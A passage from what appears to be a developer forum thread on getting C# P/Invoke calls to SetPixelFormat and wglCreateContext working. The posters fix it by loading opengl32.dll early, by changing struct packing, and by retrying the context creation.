public static bool SetPixelFormat(IntPtr deviceContext, int pixelFormat, ref PIXELFORMATDESCRIPTOR pixelFormatDescriptor) {
Kernel.LoadLibrary("opengl32.dll");
return _SetPixelFormat(deviceContext, pixelFormat, ref pixelFormatDescriptor);
}
So we know that opengl32.dll must be loaded before gdi32.dll, is there any other way of doing this. After while I thought that we can call some NOP function from opengl32.dll to load it. For example:
[DllImport("opengl32.dll", EntryPoint = "glGetString", CharSet = CharSet.Auto, SetLastError = true, ExactSpelling = true)]
static extern IntPtr _glGetString(StringName name);
public static string glGetString(StringName name)
{
return Marshal.PtrToStringAnsi(_glGetString(name));
}
public enum StringName : uint
{
GL_VENDOR = 0x1F00,
GL_RENDERER = 0x1F01,
GL_VERSION = 0x1F02,
GL_EXTENSIONS = 0x1F03
}
and on the start of application, before any call to gdi32.dll I use this:
GL.glGetString(0);
Both ways solves the problem.
I cannot test this right now, but my first suspicion would be the structure packing. Have you tried setting the packing to 1 in the StructLayout attribute? For example:
[StructLayout(LayoutKind.Sequential, Pack=1)]
Cheers,
Brian
Calling wglCreateContext twice helps too.
if (SetPixelFormat(DC, iPixelformat, ref pfd) == false)
throw new Win32Exception(Marshal.GetLastWin32Error());
RC = wglCreateContext(DC);
if (RC == HGLRC.Zero)
{
if (SetPixelFormat(DC, iPixelformat, ref pfd) == false)
throw new Win32Exception(Marshal.GetLastWin32Error());
RC = wglCreateContext(DC);
if (RC == HGLRC.Zero)
throw new Win32Exception(Marshal.GetLastWin32Error());
}

Categories